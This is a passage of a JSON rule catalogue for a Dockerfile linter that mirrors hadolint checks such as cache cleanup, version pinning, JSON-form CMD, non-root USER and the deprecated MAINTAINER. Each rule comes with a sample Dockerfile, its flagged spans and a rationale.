        "spans": [
          {
            "column": 1,
            "length": 18,
            "line": 25
          },
          {
            "column": 1,
            "length": 42,
            "line": 26
          },
          {
            "column": 1,
            "length": 14,
            "line": 27
          }
        ]
      },
      "fix": null,
      "id": "delete-apt-lists",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3009",
          "note": "Only the RUN that runs `apt-get update` is checked, and any `rm` of a path under /var/lib/apt/lists in it counts, as hadolint does.",
          "partial": true,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3009"
        }
      ],
      "why": "`apt-get update` downloads the package index files into `/var/lib/apt/lists`, often tens of megabytes that no program needs at run time. They are written into the layer of that `RUN`, and deleting them in a later `RUN` hides them but does not make the image smaller, because the earlier layer still holds the files.\n\nTo fix, remove them in the same `RUN`: `apt-get update && apt-get install -y ... && rm -rf /var/lib/apt/lists/*`."
    },
    {
      "category": "performance",
      "default_level": "off",
      "description": "Reports a `RUN` that installs with dnf and does not clean the cache. It runs `dnf install`, `upgrade` or `reinstall` (also `microdnf`, and the short forms `in`, `up`, `rei`) and has no `dnf clean all` or `microdnf clean all` after it in the same `RUN`. An `rm -rf /var/cache/libdnf5*` written exactly so is accepted as well.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM fedora:40\nRUN yum install curl\nRUN yum install -y curl-7.0 && yum clean all\nRUN yum install -y curl-7.0 && rm -rf /var/cache/yum/*\nRUN yum install -y nginx-1.2 && yum clean all\nRUN dnf install curl\nRUN dnf install -y curl-7.0\nRUN dnf install -y curl-7.0 && dnf clean all\nRUN microdnf install -y curl-7.0\nRUN dnf install -y ./a.rpm && dnf clean all\nRUN zypper install curl\nRUN zypper install -y curl=7.0 && zypper clean\nRUN zypper install -y curl\nRUN zypper dist-upgrade\nRUN zypper -n in curl=1 && zypper cc\n",
        "language": "dockerfile",
        "other_lines": [
          2,
          10,
          11,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 20,
            "line": 6
          },
          {
            "column": 1,
            "length": 27,
            "line": 7
          },
          {
            "column": 1,
            "length": 32,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "dnf-clean",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3040",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3040"
        }
      ],
      "why": "`dnf` stores the metadata and packages it downloaded under `/var/cache`. That cache is written into the layer and stays in the image, adding size that nothing uses at run time.\n\nClean it in the same `RUN`: a later `RUN` cannot shrink a layer that was already written."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `dnf install`, `dnf groupinstall` or `dnf localinstall` (also with `microdnf`) without `-y` or `--assumeyes`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM fedora:40\nRUN yum install curl\nRUN yum install -y curl-7.0 && yum clean all\nRUN yum install -y curl-7.0 && rm -rf /var/cache/yum/*\nRUN yum install -y nginx-1.2 && yum clean all\nRUN dnf install curl\nRUN dnf install -y curl-7.0\nRUN dnf install -y curl-7.0 && dnf clean all\nRUN microdnf install -y curl-7.0\nRUN dnf install -y ./a.rpm && dnf clean all\nRUN zypper install curl\nRUN zypper install -y curl=7.0 && zypper clean\nRUN zypper install -y curl\nRUN zypper dist-upgrade\nRUN zypper -n in curl=1 && zypper cc\n",
        "language": "dockerfile",
        "other_lines": [
          2,
          7,
          9,
          10,
          11,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 20,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "dnf-yes",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3038",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3038"
        }
      ],
      "why": "Before it installs, dnf asks `Is this ok [y/N]`. A build has no terminal to answer, so dnf aborts with `Operation aborted` and the `RUN` fails."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports a stage name that an earlier stage already uses, as in `FROM a AS app` followed by `FROM b AS app`. Names are compared without regard to case, as Docker does.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine\nFROM alpine:3 AS build\nFROM build\nFROM scratch\nFROM alpine:3 AS build\nFROM $BASE\nFROM alpine:3 AS Build\nFROM BUILD\nFROM localhost:5000/img\nFROM localhost:5000/img:1\nFROM alpine@sha256:abc\nUSER root\nUSER app\nUSER 0:0\nCOPY --from=build /a /b\nCOPY --from=nope /a /b\nCOPY --from=BUILD /a /b\nCOPY --from=0 /a /b\nCOPY --from=99 /a /b\nCOPY --from=alpine:3 /a /b\nCMD [\"a\"]\nCMD [\"b\"]\nENTRYPOINT [\"a\"]\nENTRYPOINT [\"b\"]\nHEALTHCHECK CMD a\nHEALTHCHECK CMD b\nFROM alpine:3 AS last\nCOPY --from=LAST /a /b\nUSER app\nCMD [\"a\"]\nUSER root\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          9,
          14,
          16,
          19,
          22,
          24,
          25,
          26,
          28,
          31
        ],
        "spans": [
          {
            "column": 1,
            "length": 22,
            "line": 5
          },
          {
            "column": 1,
            "length": 22,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "duplicate-stage-name",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3024",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3024"
        }
      ],
      "why": "`FROM name` and `COPY --from=name` refer to a stage by its name. With two stages of one name the builder cannot tell which one is meant, so Docker rejects the file."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports an `EXPOSE` with a port number above 65535. Several ports, `/tcp` and `/udp` suffixes and ranges (`8000-70000`) are all checked; a variable is not.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:latest\nFROM --platform=linux/amd64 alpine:3\nFROM --platform=$TARGETPLATFORM alpine:3\nFROM --platform=$BUILDPLATFORM alpine:3 AS scratch\nFROM alpine:3@sha256:abc\nWORKDIR app\nWORKDIR /app\nWORKDIR $HOME\nEXPOSE 8080 70000\nEXPOSE 80/tcp 443\nCMD node server.js\nCMD [\"node\", \"server.js\"]\nENTRYPOINT /run.sh\nONBUILD CMD echo hi\nONBUILD ONBUILD RUN x\nONBUILD MAINTAINER x\nMAINTAINER a@b.c\nCOPY --from=0 / /\nCOPY a b /dest\nCOPY a b /dest/\nCOPY a /dest\nADD app.js /app/\nADD app.tar.gz /app/\nADD https://example.com/f /app/\nUSER app\nUSER 1000:1000\nUSER $UID\nENV DB_PASSWORD=x\nENV A=1 NPM_TOKEN=y\nARG GITHUB_TOKEN\nARG VERSION=1\nENV AWS_ACCESS_KEY_ID=x\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          2,
          3,
          4,
          6,
          11,
          12,
          13,
          15,
          16,
          17,
          18,
          19,
          22,
          25,
          28,
          29,
          30,
          32
        ],
        "spans": [
          {
            "column": 1,
            "length": 17,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "expose-port-range",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3011",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3011"
        }
      ],
      "why": "TCP and UDP ports are 16-bit numbers from 0 to 65535. A larger number is a typo (a digit too many), and Docker rejects it as an invalid port, so the build fails."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports an instruction other than `ARG` before the first `FROM`. Comments, parser directives and blank lines are allowed there.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "ARG V=1\nRUN echo hi\nFROM alpine:3\nRUN echo ok\n",
        "language": "dockerfile",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 11,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "from-first",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3061",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3061"
        }
      ],
      "why": "Every instruction works on a build stage, and a stage starts with `FROM`. Only `ARG` may come first, because its value can be used in the `FROM` line (`ARG VERSION=3` then `FROM alpine:${VERSION}`). Any other instruction first makes the Dockerfile invalid, and Docker rejects it."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `gem install` (or `gem i`) of a gem without a version: `rails` instead of `rails:7.1.3`. `-v` or `--version` pins as well. The values of options that take one (`--source URL`, `-i DIR`, `--platform NAME`) are not taken for gems.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM node:20\nRUN pip install flask\nRUN pip install flask==2.0 \"requests>=2\"\nRUN pip3 install -r requirements.txt\nRUN pip install --no-cache-dir -i https://x/simple flask==1\nRUN pip install .\nRUN pip install git+https://github.com/a/b\nRUN pip install git+https://github.com/a/b@v1\nRUN npm install\nRUN npm install express\nRUN npm install express@4 @scope/pkg@1\nRUN npm install --loglevel verbose express@4\nRUN npm install ./local\nRUN npm i express\nRUN npm add express@4\nRUN gem install rails\nRUN gem install --no-document rails\nRUN gem install --source https://rubygems.org rails:7.0\nRUN gem install rails:7.0\nRUN gem install rails -v 7.0\nRUN go install example.com/x\nRUN go install example.com/x@v1\nRUN go install example.com/x@latest\n",
        "language": "dockerfile",
        "other_lines": [
          2,
          7,
          10,
          14,
          21,
          23
        ],
        "spans": [
          {
            "column": 1,
            "length": 21,
            "line": 16
          },
          {
            "column": 1,
            "length": 35,
            "line": 17
          }
        ]
      },
      "fix": null,
      "id": "gem-pin-versions",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3028",
          "note": "hadolint drops the word after every flag; Sudsy does the same (`skip-flag-args: *`), so cases it parses differently with options can differ.",
          "partial": true,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3028"
        }
      ],
      "why": "Without a version `gem install` takes the newest release on the day of the build, and so a major release of a gem can break the image, and two builds of one Dockerfile give different results."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `go install` or `go get` of a package without a version, or at `latest` or `none` (`example.com/tool@latest`). `example.com/tool@v1.4.0` is pinned. A path that starts with `.` or `/` (a package of the current module) is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM node:20\nRUN pip install flask\nRUN pip install flask==2.0 \"requests>=2\"\nRUN pip3 install -r requirements.txt\nRUN pip install --no-cache-dir -i https://x/simple flask==1\nRUN pip install .\nRUN pip install git+https://github.com/a/b\nRUN pip install git+https://github.com/a/b@v1\nRUN npm install\nRUN npm install express\nRUN npm install express@4 @scope/pkg@1\nRUN npm install --loglevel verbose express@4\nRUN npm install ./local\nRUN npm i express\nRUN npm add express@4\nRUN gem install rails\nRUN gem install --no-document rails\nRUN gem install --source https://rubygems.org rails:7.0\nRUN gem install rails:7.0\nRUN gem install rails -v 7.0\nRUN go install example.com/x\nRUN go install example.com/x@v1\nRUN go install example.com/x@latest\n",
        "language": "dockerfile",
        "other_lines": [
          2,
          7,
          10,
          14,
          16,
          17
        ],
        "spans": [
          {
            "column": 1,
            "length": 28,
            "line": 21
          },
          {
            "column": 1,
            "length": 35,
            "line": 23
          }
        ]
      },
      "fix": null,
      "id": "go-pin-versions",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3062",
          "note": "`go install` and `go get`; `go run` is not checked.",
          "partial": true,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3062"
        }
      ],
      "why": "`@latest` builds whatever release is newest on the day of the build, so the tool in the image changes between builds and a new release can fail or behave differently. Without any version, `go install` uses the version in the `go.mod` of the working directory (and fails when there is none), and `go get` moves it to the latest release. In both cases the Dockerfile does not say which version ends up in the image.\n\nWrite the version: `go install example.com/tool@v1.4.0`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `CMD`, `ENTRYPOINT` or `HEALTHCHECK CMD` in shell form. That is `CMD node server.js` instead of the JSON array form `CMD [\"node\", \"server.js\"]`. The same instruction after `ONBUILD` is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:latest\nFROM --platform=linux/amd64 alpine:3\nFROM --platform=$TARGETPLATFORM alpine:3\nFROM --platform=$BUILDPLATFORM alpine:3 AS scratch\nFROM alpine:3@sha256:abc\nWORKDIR app\nWORKDIR /app\nWORKDIR $HOME\nEXPOSE 8080 70000\nEXPOSE 80/tcp 443\nCMD node server.js\nCMD [\"node\", \"server.js\"]\nENTRYPOINT /run.sh\nONBUILD CMD echo hi\nONBUILD ONBUILD RUN x\nONBUILD MAINTAINER x\nMAINTAINER a@b.c\nCOPY --from=0 / /\nCOPY a b /dest\nCOPY a b /dest/\nCOPY a /dest\nADD app.js /app/\nADD app.tar.gz /app/\nADD https://example.com/f /app/\nUSER app\nUSER 1000:1000\nUSER $UID\nENV DB_PASSWORD=x\nENV A=1 NPM_TOKEN=y\nARG GITHUB_TOKEN\nARG VERSION=1\nENV AWS_ACCESS_KEY_ID=x\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          2,
          3,
          4,
          6,
          9,
          12,
          15,
          16,
          17,
          18,
          19,
          22,
          25,
          28,
          29,
          30,
          32
        ],
        "spans": [
          {
            "column": 1,
            "length": 18,
            "line": 11
          },
          {
            "column": 1,
            "length": 18,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "json-cmd-entrypoint",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3025",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3025"
        }
      ],
      "why": "The shell form runs the command as `/bin/sh -c \"...\"`, so the shell, not your program, is the main process of the container. `docker stop` sends SIGTERM to that shell, which usually does not pass it on; after the timeout (10 seconds by default) Docker kills the container with SIGKILL, and the program gets no chance to shut down cleanly. With an `ENTRYPOINT` in shell form, the arguments of `CMD` and of `docker run` are ignored as well.\n\nThe JSON form starts the program directly. If you need a shell, write `[\"sh\", \"-c\", \"exec node server.js\"]`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a stage whose last `USER` is root, on that `USER`. That is `root` or `0`, also `root:group` and `0:group`. Every stage is checked, build stages too. A stage with no `USER` instruction is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine\nFROM alpine:3 AS build\nFROM build\nFROM scratch\nFROM alpine:3 AS build\nFROM $BASE\nFROM alpine:3 AS Build\nFROM BUILD\nFROM localhost:5000/img\nFROM localhost:5000/img:1\nFROM alpine@sha256:abc\nUSER root\nUSER app\nUSER 0:0\nCOPY --from=build /a /b\nCOPY --from=nope /a /b\nCOPY --from=BUILD /a /b\nCOPY --from=0 /a /b\nCOPY --from=99 /a /b\nCOPY --from=alpine:3 /a /b\nCMD [\"a\"]\nCMD [\"b\"]\nENTRYPOINT [\"a\"]\nENTRYPOINT [\"b\"]\nHEALTHCHECK CMD a\nHEALTHCHECK CMD b\nFROM alpine:3 AS last\nCOPY --from=LAST /a /b\nUSER app\nCMD [\"a\"]\nUSER root\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          5,
          7,
          9,
          16,
          19,
          22,
          24,
          25,
          26,
          28
        ],
        "spans": [
          {
            "column": 1,
            "length": 8,
            "line": 14
          },
          {
            "column": 1,
            "length": 9,
            "line": 31
          }
        ]
      },
      "fix": null,
      "id": "last-user-not-root",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3002",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3002"
        }
      ],
      "why": "The container's main process runs as the last user. If the application is compromised, the attacker is root inside the container, which makes it easier to damage mounted volumes or to break out of the container, and files the process writes to a volume are owned by root.\n\nEnd the stage with an unprivileged `USER` (a numeric one, see `numeric-user-id`)."
    },
    {
      "category": "performance",
      "default_level": "off",
      "description": "Reports a `RUN` that could be merged into the `RUN` before it. Both are one simple command, with the same leading options (`--mount=...`). A comment between the two does not break the pair; any other instruction does. A `RUN` with `&&`, `;` or a pipe is neither reported nor part of a pair.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM debian:12\nRUN a\nRUN b\n# a comment between does not matter\nRUN c\nENV A=1\nRUN d\nRUN e && f\nRUN g\nRUN h $(i)\nRUN j\nRUN --mount=type=cache,target=/x k\nRUN --mount=type=cache,target=/x l\nRUN m\nRUN [\"n\", \"o\"]\nRUN [\"p\"]\n\nRUN a | b\nRUN a || b\nRUN [\"a\", \"b\"]\nSHELL [\"/bin/bash\", \"-o\", \"pipefail\", \"-c\"]\nRUN a | b\nFROM debian:12\nRUN a | b\nRUN apt-get update\nRUN apt-get update && apt-get install -y a\nRUN apt update\nRUN apt-get update && rm -rf /var/lib/apt/lists/*\nRUN apt-get update && apt-get install -y a && rm -fr \"/var/lib/apt/lists\"\nRUN --mount=type=cache,target=/var/lib/apt/lists apt-get update\nRUN apt-get install -y a\n",
        "language": "dockerfile",
        "other_lines": [
          18,
          24,
          25,
          26,
          27
        ],
        "spans": [
          {
            "column": 1,
            "length": 5,
            "line": 3
          },
          {
            "column": 1,
            "length": 5,
            "line": 5
          },
          {
            "column": 1,
            "length": 34,
            "line": 13
          },
          {
            "column": 1,
            "length": 14,
            "line": 15
          },
          {
            "column": 1,
            "length": 9,
            "line": 16
          }
        ]
      },
      "fix": null,
      "id": "merge-consecutive-run",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3059",
          "note": "Both RUNs must be a single command with the same flags.",
          "partial": true,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3059"
        }
      ],
      "why": "Every `RUN` creates an image layer. Files that one `RUN` writes and the next one deletes (a download, a package cache) still sit in the earlier layer and count toward the image size; joined with `&&` in one `RUN`, the cleanup really removes them.\n\nThe price is a coarser build cache: when any part of the joined `RUN` changes, all of it runs again."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `RUN` that calls `apt`; use `apt-get` or `apt-cache` instead.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:3\nRUN sudo make install\nRUN cd /app && make\nRUN service nginx start\nRUN apt update\nRUN wget https://example.com/f\nRUN wget -q https://example.com/f\nRUN ln -sf /bin/bash /bin/sh\nRUN echo sudo cd ps\nRUN make && \\\n    sudo make install\nRUN v=$(sudo make) && echo \"$(wget https://example.com/f)\"\nONBUILD RUN sudo make\nRUN [\"sudo\", \"make\"]\n",
        "language": "dockerfile",
        "other_lines": [
          2,
          3,
          4,
          6,
          8,
          10,
          12,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 14,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "no-apt",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3027",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3027"
        }
      ],
      "why": "`apt` is made for people at a terminal: its output and options may change between versions, and it prints a warning that it has no stable command line interface and should be used with caution in scripts. `apt-get` and `apt-cache` keep an interface that scripts can rely on."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `COPY --from=stage / /`, which copies the whole file system of a stage to `/`. A copy of `/` into a folder (`/app/`) or of a folder is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:latest\nFROM --platform=linux/amd64 alpine:3\nFROM --platform=$TARGETPLATFORM alpine:3\nFROM --platform=$BUILDPLATFORM alpine:3 AS scratch\nFROM alpine:3@sha256:abc\nWORKDIR app\nWORKDIR /app\nWORKDIR $HOME\nEXPOSE 8080 70000\nEXPOSE 80/tcp 443\nCMD node server.js\nCMD [\"node\", \"server.js\"]\nENTRYPOINT /run.sh\nONBUILD CMD echo hi\nONBUILD ONBUILD RUN x\nONBUILD MAINTAINER x\nMAINTAINER a@b.c\nCOPY --from=0 / /\nCOPY a b /dest\nCOPY a b /dest/\nCOPY a /dest\nADD app.js /app/\nADD app.tar.gz /app/\nADD https://example.com/f /app/\nUSER app\nUSER 1000:1000\nUSER $UID\nENV DB_PASSWORD=x\nENV A=1 NPM_TOKEN=y\nARG GITHUB_TOKEN\nARG VERSION=1\nENV AWS_ACCESS_KEY_ID=x\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          2,
          3,
          4,
          6,
          9,
          11,
          12,
          13,
          15,
          16,
          17,
          19,
          22,
          25,
          28,
          29,
          30,
          32
        ],
        "spans": [
          {
            "column": 1,
            "length": 17,
            "line": 18
          }
        ]
      },
      "fix": null,
      "id": "no-copy-whole-stage",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3067",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3067"
        }
      ],
      "why": "It copies everything of the build stage: compilers, package caches, sources, and the stage's own `/etc` and `/usr` over the ones of the final image. The image becomes as large as the build stage, which defeats the purpose of a multi-stage build, and files of the base image are overwritten.\n\nCopy only what the final image needs: `COPY --from=build /out/app /usr/local/bin/`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `FROM` with a fixed `--platform`, such as `--platform=linux/amd64`. A value that contains `$BUILDPLATFORM` or `$TARGETPLATFORM` is not reported; other variables such as `$TARGETARCH` are.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:latest\nFROM --platform=linux/amd64 alpine:3\nFROM --platform=$TARGETPLATFORM alpine:3\nFROM --platform=$BUILDPLATFORM alpine:3 AS scratch\nFROM alpine:3@sha256:abc\nWORKDIR app\nWORKDIR /app\nWORKDIR $HOME\nEXPOSE 8080 70000\nEXPOSE 80/tcp 443\nCMD node server.js\nCMD [\"node\", \"server.js\"]\nENTRYPOINT /run.sh\nONBUILD CMD echo hi\nONBUILD ONBUILD RUN x\nONBUILD MAINTAINER x\nMAINTAINER a@b.c\nCOPY --from=0 / /\nCOPY a b /dest\nCOPY a b /dest/\nCOPY a /dest\nADD app.js /app/\nADD app.tar.gz /app/\nADD https://example.com/f /app/\nUSER app\nUSER 1000:1000\nUSER $UID\nENV DB_PASSWORD=x\nENV A=1 NPM_TOKEN=y\nARG GITHUB_TOKEN\nARG VERSION=1\nENV AWS_ACCESS_KEY_ID=x\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          3,
          4,
          6,
          9,
          11,
          12,
          13,
          15,
          16,
          17,
          18,
          19,
          22,
          25,
          28,
          29,
          30,
          32
        ],
        "spans": [
          {
            "column": 1,
            "length": 36,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-from-platform",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3029",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3029"
        }
      ],
      "why": "A fixed platform ties the build to one CPU architecture. On an arm64 machine the base image is pulled for amd64 and runs under emulation, which is slow and sometimes breaks, and a multi-platform build produces the same amd64 content for every target.\n\nWithout the option the base follows the platform of the build; a stage that must run on the build machine uses `--platform=$BUILDPLATFORM`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `RUN` that calls `ssh`, `vim`, `shutdown`, `service`, `ps`, `free`, `top`, `kill` or `mount`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:3\nRUN sudo make install\nRUN cd /app && make\nRUN service nginx start\nRUN apt update\nRUN wget https://example.com/f\nRUN wget -q https://example.com/f\nRUN ln -sf /bin/bash /bin/sh\nRUN echo sudo cd ps\nRUN make && \\\n    sudo make install\nRUN v=$(sudo make) && echo \"$(wget https://example.com/f)\"\nONBUILD RUN sudo make\nRUN [\"sudo\", \"make\"]\n",
        "language": "dockerfile",
        "other_lines": [
          2,
          3,
          5,
          6,
          8,
          10,
          12,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 23,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-interactive-commands",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3001",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3001"
        }
      ],
      "why": "A build runs without a terminal and without an init system, and each `RUN` ends when its command returns. `ssh`, `vim` and `top` need a terminal. `service` and `shutdown` talk to an init system that the container does not have; a daemon started by `service` stops when that `RUN` ends, so it is not running in containers of the image. `ps`, `free`, `kill` and `mount` report on or change the temporary build sandbox, and nothing of it lasts."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `FROM` whose image has the tag `latest` (`alpine:latest`). A `latest` image with a digest (`alpine:latest@sha256:...`) is not reported; an image with no tag at all is the business of `untagged-base-image`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:latest\nFROM --platform=linux/amd64 alpine:3\nFROM --platform=$TARGETPLATFORM alpine:3\nFROM --platform=$BUILDPLATFORM alpine:3 AS scratch\nFROM alpine:3@sha256:abc\nWORKDIR app\nWORKDIR /app\nWORKDIR $HOME\nEXPOSE 8080 70000\nEXPOSE 80/tcp 443\nCMD node server.js\nCMD [\"node\", \"server.js\"]\nENTRYPOINT /run.sh\nONBUILD CMD echo hi\nONBUILD ONBUILD RUN x\nONBUILD MAINTAINER x\nMAINTAINER a@b.c\nCOPY --from=0 / /\nCOPY a b /dest\nCOPY a b /dest/\nCOPY a /dest\nADD app.js /app/\nADD app.tar.gz /app/\nADD https://example.com/f /app/\nUSER app\nUSER 1000:1000\nUSER $UID\nENV DB_PASSWORD=x\nENV A=1 NPM_TOKEN=y\nARG GITHUB_TOKEN\nARG VERSION=1\nENV AWS_ACCESS_KEY_ID=x\n",
        "language": "dockerfile",
        "other_lines": [
          2,
          3,
          4,
          6,
          9,
          11,
          12,
          13,
          15,
          16,
          17,
          18,
          19,
          22,
          25,
          28,
          29,
          30,
          32
        ],
        "spans": [
          {
            "column": 1,
            "length": 18,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-latest-tag",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3007",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3007"
        }
      ],
      "why": "`latest` is only a name that the image's owner moves to each new release. The base of your image then changes without any edit in the Dockerfile: a rebuild can pull a new major version of the operating system or runtime, and a build that worked yesterday fails or behaves differently today.\n\nA release tag (`alpine:3.20`) or a digest keeps the base fixed."
    },
    {
      "category": "cleanup",
      "default_level": "warn",
      "description": "Reports a `MAINTAINER` instruction.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:latest\nFROM --platform=linux/amd64 alpine:3\nFROM --platform=$TARGETPLATFORM alpine:3\nFROM --platform=$BUILDPLATFORM alpine:3 AS scratch\nFROM alpine:3@sha256:abc\nWORKDIR app\nWORKDIR /app\nWORKDIR $HOME\nEXPOSE 8080 70000\nEXPOSE 80/tcp 443\nCMD node server.js\nCMD [\"node\", \"server.js\"]\nENTRYPOINT /run.sh\nONBUILD CMD echo hi\nONBUILD ONBUILD RUN x\nONBUILD MAINTAINER x\nMAINTAINER a@b.c\nCOPY --from=0 / /\nCOPY a b /dest\nCOPY a b /dest/\nCOPY a /dest\nADD app.js /app/\nADD app.tar.gz /app/\nADD https://example.com/f /app/\nUSER app\nUSER 1000:1000\nUSER $UID\nENV DB_PASSWORD=x\nENV A=1 NPM_TOKEN=y\nARG GITHUB_TOKEN\nARG VERSION=1\nENV AWS_ACCESS_KEY_ID=x\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          2,
          3,
          4,
          6,
          9,
          11,
          12,
          13,
          15,
          16,
          18,
          19,
          22,
          25,
          28,
          29,
          30,
          32
        ],
        "spans": [
          {
            "column": 1,
            "length": 16,
            "line": 17
          }
        ]
      },
      "fix": null,
      "id": "no-maintainer",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL4000",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL4000"
        }
      ],
      "why": "`MAINTAINER` has been deprecated since Docker 1.13 and may be removed. Its replacement, a label such as `LABEL org.opencontainers.image.authors=\"Name <name@example.com>\"`, carries the same information under a standard key that registries and tools read."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports an `ONBUILD` whose instruction is `ONBUILD`, `FROM` or `MAINTAINER`.",
      "example": {
        "config": null,
        "fixed": null,
